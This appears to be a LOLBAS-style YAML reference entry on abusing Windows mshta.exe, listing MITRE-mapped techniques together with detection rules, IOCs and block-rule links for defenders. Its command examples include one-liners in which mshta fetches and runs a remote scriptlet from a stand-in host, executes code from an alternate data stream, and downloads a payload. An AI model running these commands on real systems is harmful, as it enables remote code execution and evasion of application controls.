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* Adding various tags as a first iteration * Adding quotes * Adding 'Custom Format' properly * Updating to key:value pairs * Update template
86 lines
5.2 KiB
YAML
86 lines
5.2 KiB
YAML
---
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Name: Mshta.exe
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Description: Used by Windows to execute html applications. (.hta)
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Author: Oddvar Moe
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Created: 2018-05-25
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Commands:
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- Command: mshta.exe evilfile.hta
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Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1218.005
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Execute: WSH
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- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
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Description: Executes VBScript supplied as a command line argument.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1218.005
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: mshta.exe javascript:a=GetObject("script:https://webserver/payload.sct").Exec();close();
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Description: Executes JavaScript supplied as a command line argument.
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Usecase: Execute code
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Category: Execute
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Privileges: User
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MitreID: T1218.005
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: mshta.exe "C:\ads\file.txt:file.hta"
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Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
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Usecase: Execute code hidden in alternate data stream
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Category: ADS
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Privileges: User
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MitreID: T1218.005
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
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Tags:
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- Execute: WSH
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- Command: mshta.exe https://example.com/payload
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Description: It will download a remote payload and place it in INetCache.
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Usecase: Downloads payload from remote server
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Download: INetCache
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Full_Path:
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- Path: C:\Windows\System32\mshta.exe
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- Path: C:\Windows\SysWOW64\mshta.exe
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Code_Sample:
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- Code: https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
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- Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml
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- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml
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- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml
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- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml
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- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml
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- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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- IOC: mshta.exe executing raw or obfuscated script within the command-line
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- IOC: General usage of HTA file
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- IOC: msthta.exe network connection to Internet/WWW resource
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- IOC: DotNet CLR libraries loaded into mshta.exe
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- IOC: DotNet CLR Usage Log - mshta.exe.log
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Resources:
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- Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
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- Link: https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
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- Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
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- Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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- Person: Nir Chako (Pentera)
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Handle: '@C_h4ck_0'
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